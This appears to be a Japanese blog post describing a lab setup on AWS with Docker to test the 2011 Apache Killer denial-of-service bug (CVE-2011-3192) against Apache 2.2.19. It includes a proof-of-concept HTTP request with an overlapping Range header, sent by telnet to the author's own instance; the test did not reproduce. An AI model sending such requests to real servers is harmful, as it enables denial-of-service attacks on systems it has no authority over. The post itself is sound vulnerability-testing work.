AWS上でApache Killerを試すが

# 概要
何かニッチで今頃？ですけど、Apache KillerをテストするためのApache 2.2.19の環境がほしいとの要求がありましてAWS上にDockerコンテナを作ってみました。
Apache Killerとは、2011年に公開されたApache HTTP Server存在する脆弱性(CVE-2011-3192)を悪用してDDoS攻撃をするツールの総称だそうです。脆弱性ではなくツールの総称だったのですね。

# 作業内容

#### 事前準備

事前に以下を実施しております。
・AWSのアカウントの作成
・作業マシン(kali)にdocker-machineをインストール

また、事前準備はURL(※1)を参考にさせていただきDockerイメージを作成してDockerHub上にPushしております。

#### Dockerコンテナ作成

AWSへのDockerコンテナ作成はURL(※2)を参考にしました。
まず、作業マシンでaws-sandboxというEC2インスタンスをAWS上に作成します。

```
// アクセスキーの登録
$ mkdir ~/.aws
$ vi ~/.aws/credentials

[default]
aws_access_key_id = XXXXXXXXX
aws_secret_access_key = XXXXXXXX

// インスタンスの作成
$ docker-machine create --driver amazonec2 --amazonec2-open-port 8888 --amazonec2-region ap-northeast-1 aws-sandbox
```

- AWS管理コンソール
![create_aws_sandbox_instanse_002.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/598956/e780a4b6-fa03-4d27-a9ed-2aa8c04121fa.png)


作業マシンでコマンドを発行し、インスタンス上でDockerイメージを取得します。

```
// 環境変数を設定
$ eval $(docker-machine env aws-sandbox)

// インスタンスを確認
$ docker-machine ls
NAME          ACTIVE   DRIVER      STATE     URL                       SWARM   DOCKER     ERRORS
aws-sandbox   *        amazonec2   Running   tcp://54.95.XX.XXXX:2376           v19.03.8   

// インスタンス上でDockerイメージを取得しコンテナを生成。
$ docker $(docker-machine config aws-sandbox) run -d -p 8888:80 --name apachekiller stcmjp/cve-2011-3192:1.0
```

インスタンスに接続すると、Dockerコンテナが生成されていることを確認できます。生成後コンテナはすぐに停止しております。

```
// AWS上のインスタンスに接続
$ docker-machine ssh aws-sandbox

// コンテナの状態を確認
$ sudo su -
# docker images
REPOSITORY             TAG                 IMAGE ID            CREATED             SIZE
stcmjp/cve-2011-3192   1.0                 db5ddb6a43bb        14 hours ago        1.44GB
# docker ps -a
CONTAINER ID        IMAGE                      COMMAND             CREATED             STATUS                     PORTS               NAMES
9ca518ad305c        stcmjp/cve-2011-3192:1.0   "/bin/bash"         8 minutes ago       Exited (0) 8 minutes ago                       apachekiller

```

引き続き、**インスタンス上で**コンテナを起動します。

```
// コンテナを起動し接続
# docker run -i -t -p 8888:80 -t stcmjp/cve-2011-3192:1.0 /bin/bash

// Apacheの起動
[root@b3230326486e /]# /etc/init.d/httpd start
```

これで作業マシン上のブラウザから http：//54.95.XXX.XXX:8888/index.php に接続することができます。

![phpinfo_002.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/598956/7eaa0edc-651d-7d23-7fb9-3b577c7225b9.png)


# 脆弱性の検証

準備が整ったところで作業マシンからURL(※3)を参考にPoCを試してみます。

 - リクエスト

```
# telnet 54.95.XXX.XXX 8888
Trying 54.95.XXX.XXX...
Connected to 54.95.XXX.XXX.
Escape character is '^]'.
GET /index.php HTTP/1.1
Host: 54.95.XXX.XXX:8888
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30
```

 - レスポンス

```
HTTP/1.1 200 OK
Date: Sat, 11 Apr 2020 06:07:42 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/1.0.1e-fips DAV/2 PHP/5.3.5
X-Powered-By: PHP/5.3.5
Transfer-Encoding: chunked
Content-Type: text/html
```

あれ？再現できませんでした。orz
脆弱性のある場合はレスポンスコードが **HTTP/1.1 206 Partial Contet** になるはずですが、時間が無いので今回はここまでで終了しました。
時間ができたら詳しく調査してみます。



# 参考URL
1. [Dockerの使い方メモ](https://qiita.com/___init___/items/1d04a3bdb43e982c6345)
1. [docker docs](https://docs.docker.com/machine/examples/aws/)
1. [PoC](https://mbsd.jp/blog/20170904.html)